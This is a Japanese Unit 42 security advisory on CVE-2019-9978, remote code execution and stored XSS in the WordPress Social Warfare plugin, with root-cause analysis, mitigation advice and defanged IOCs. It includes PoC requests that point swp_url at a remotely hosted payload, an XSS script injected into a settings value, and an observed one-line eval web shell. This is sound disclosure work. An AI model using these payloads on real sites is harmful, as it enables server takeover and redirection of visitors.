This post is also available in: English (英語)
概要
3月21日にリサーチャーが2つの脆弱性がSocial Warfareに存在することを明らかにしました。本プラグインはWordPressで非常に人気のあるプラグインで、WebサイトやブログにSNS共有ボタンを追加するものです。1つの脆弱性はStored Cross-site Scripting Attack(XSS)の脆弱性であり、もう1つの脆弱性はリモートコード実行(RCE)の脆弱性です。この両方の脆弱性はCVE-2019-9978から追跡できます。両方の脆弱性は、3月21日にリリースされた修正版である3.5.3以前のすべてのバージョンのSocial Warfareに存在しています。試算では42,000のウェブサイト が3.5.3にアップデートされるまで潜在的に脆弱な状態とされています。攻撃者はこれらの脆弱性を悪用して、任意のPHPコードを実行し、認証なしでWebサイトとサーバーを制御することができます。攻撃者は侵入先のサイトを使って暗号通貨のマイニングを実行したり、悪意のあるエクスプロイトコードをホスティングしたりする可能性があります。パロアルトネットワークスの脅威インテリジェンス調査チームUnit 42のリサーチャーは、悪意のあるエクスプロイトコードのホスティングに活発に利用されている5つの侵害サイトを発見しました。これら侵害サイトを使って攻撃者はより多くのWebサイトを制御できるようになります。
このブログ記事では、これらの脆弱性の根本原因、脆弱性を実証するための概念実証コード(PoC)、および脆弱性のあるサイトの範囲と同様に、実際にインターネット上で観察された攻撃に関する情報を提供します。
脆弱性の根本原因分析
リモートコード実行(RCE)の脆弱性
根本的な原因は、social-warfare\lib\utilities\SWP_Database_Migration.phpにあります。
図1 WordPress Social Warfare での $_GET['swp_url'] の処理
図1は、$arrayが$optionsをもとに組み立てられている様子を示しています。$optionsは、$_GET['swp_url']にあるリモートファイルから取得されたものです。図1の250行目でわかるように、$arrayはセキュリティ検査なしでeval()関数に実行されています。これにより任意のコードが実行されます。
ストアドXSSの脆弱性
脆弱なコードは上記のRCEと同じファイルにあります。
図2 optionsを更新するコード
これら2つの脆弱性の根本的原因は同じで、いずれもWordPressのis_admin()関数が誤用されています。Is_adminは要求されたページが管理インターフェイスの一部かどうかを確認するだけで不正アクセスを防ぐことはできません。
PoC
RCEの脆弱性
社内検証サーバー上のあるファイルを以下の内容になるよう編集しました。このファイルでは<pre>タグ内にphpinfo()関数が格納されています。 phpinfo()は、PHPの現在の状態と環境設定を表示するPHP関数です。この関数は通常、PHPの実行を示すリモートペイロードとして使用されます。
<pre>
phpinfo();
</pre>
その後、脆弱性のあるサイトの次のURIにアクセスしてphpinfo()関数が実行されることを確認しました。
http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/phpinfo.txt
図3 phpinfo()はPoCリクエストが送信された段階で実行される
ストアドXSSの脆弱性
社内検証サーバーにある設定ファイルを以下の内容になるように操作しました。
<pre>
array (
'analytics_campaign' => 'SocialWarfare',
'analytics_medium' => 'social',
'bitly_authentication' => false,
'button_alignment' => 'fullWidth',
'button_shape' => 'flatFresh',
'button_size' => 1,
'cache_method' => 'advanced',
'ctt_css' => ",
'ctt_theme' => 'style1',
'custom_color' => '#000000',
'custom_color_outlines' => '#000000',
'decimal_separator' => 'period',
'decimals' => 0,
'default_colors' => 'full_color',
'float_alignment' => 'center',
'float_background_color' => '#ffffff',
'float_button_count' => 5,
'float_button_shape' => 'default',
'float_custom_color' => '#000000',
'float_custom_color_outlines' => '#000000',
'float_default_colors' => 'full_color',
'float_hover_colors' => 'fullColor',
'float_location' => 'bottom',
'float_location_page' => 'off',
'float_location_post' => 'on',
'float_mobile' => 'bottom',
'float_screen_width' => 1100,
'float_single_colors' => 'full_color',
'float_size' => 1,
'float_style_source' => true,
'float_vertical' => 'center',
'floating_panel' => true,
'force_new_shares' => false,
'frame_buster' => false,
'full_content' => false,
'google_analytics' => false,
'hover_colors' => 'full_color',
'last_migrated' => '3.0.5',
'location_archive_categories' => 'below',
'location_home' => 'none',
'location_page' => 'below',
'location_post' => 'below',
'minimum_shares' => 0,
'network_shares' => true,
'og_page' => 'article',
'og_post' => 'article',
'order_of_icons' =>
array (
'twitter' => 'twitter',
'linkedIn' => 'linkedin',
'pinterest' => 'pinterest',
'facebook' => 'facebook',
'google_plus' => 'google_plus',
),
'order_of_icons_method' => 'manual',
'pin_browser_extension' => false,
'pin_browser_extension_location' => 'hidden',
'pinit_image_description' => 'alt_text',
'pinit_image_source' => 'image',
'pinit_location_horizontal' => 'center',
'pinit_location_vertical' => 'top',
'pinit_min_height' => '200',
'pinit_min_width' => '200',
'pinit_toggle' => false,
'pinterest_fallback' => 'all',
'pinterest_image_location' => 'hidden',
'recover_shares' => false,
'recovery_format' => 'unchanged',
'recovery_prefix' => 'unchanged',
'recovery_protocol' => 'unchanged',
'single_colors' => 'full_color',
'swp_click_tracking' => false,
'swp_twitter_card' => true,
'total_shares' => true,
'totals_alignment' => 'total_sharesalt',
'transition' => 'slide',
'twitter_id' => '"><script>alert(/kow/)</script>',
'twitter_shares' => false,
'utm_on_pins' => false,
)
</pre>
その後脆弱性のあるWordPressホストを再訪しました。
http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/1.txt
WordPressダッシュボードのSocial Warfareページにアクセスすると、図4に示す警告が表示されます。
図4 管理者がダッシュボードにアクセスしたときに表示されるアラート
インターネット上で観測されたエクスプロイト
RCEの脆弱性
これらの脆弱性を悪用したサンプルがいくつか発見されました。図5に、サンプルの1つからのPOSTリクエストを示します。
図5 インターネット上で観測されたサンプルのPOSTリクエスト
このコードはRCEの脆弱性を悪用しており、ワンラインWebシェルを操作して攻撃者がWebサイトを制御できるようにするものです。
<pre>eval($_REQUEST['wpaa'])</pre>
ストアドXSSの脆弱性
図6は、悪意のあるJavaScriptコードをデコードしたものです。こちらはストアドXSSの脆弱性を悪用して被害者を広告サイトにリダイレクトします。攻撃者はこれにより広告収入を得られます。
図6 デコードした悪意のあるJavaScript
影響を受けるサイト
私たちは、このプラグインがインストールされているサイトが約40,000あることを確認しています。それらのほとんどは脆弱なバージョンを実行している教育サイト、金融サイト、ニュースサイトなどです。図7の左側の列にあるAlexaのグローバルトラフィックランクを見るとわかるように、これらの多くはトラフィックが多いサイトです。
図7 影響を受けるサイト。PublicWWWより
結論 / 緩和策
実際にインターネット上でのSocial Warfareプラグインの悪用数は多く、今後も悪意を持って使用され続ける可能性があります。7,500万を超えるWebサイトがWordPressを使用しており、トラフィックの多いWordPress Webサイトの多くがSocial Warfareプラグインを使用しているため、それらのWebサイトのユーザーはマルウェア、フィッシングページ、または暗号通貨のマイナーなどの危険にさらされる可能性があります。Webサイト管理者は、Social Warfareプラグインを3.5.3以降のバージョンに更新する必要があります。
パロアルトネットワークス製品をご利用中のお客様は、次の製品とサービスによってこれら2つの脆弱性から保護されています。
- Threat Prevention シグネチャ 55424
- PAN-DB で攻撃者のC2サーバのIP/ドメインを遮断
- WildFireとAntivirusでエクスプロイトペイロードを識別・遮断
パロアルトネットワークスは本稿で見つかったファイルサンプルや侵害の兆候などをふくむ調査結果をCyber Threat Alliance(CTA サイバー脅威アライアンス)のメンバーと共有しました。
CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。
Cyber Threat Allianceの詳細については、次のWebサイトをご覧ください: www.cyberthreatalliance.org
IOC
- Pastebin[.]com/0yJzqbYf
- www[.]viamarkt[.]hu/readme[.]txt
- netlabs[.]gr//images/code[.]txt
- www[.]acne-school[.]ru//sites/all/modules/webform/tests/subform[.]txt
- Www[.]tekmat[.]net/wp-content/uploads/2014/04/jpg[.]txt
- Customcoverinc[.]com/images/banners/shopreadme[.]txt
- 37[.]59[.]55[.]45
- 192[.]99[.]35[.]149
- 192[.]99[.]35[.]63
- 94[.]23[.]255[.]34
- 8[.]47[.]64[.]2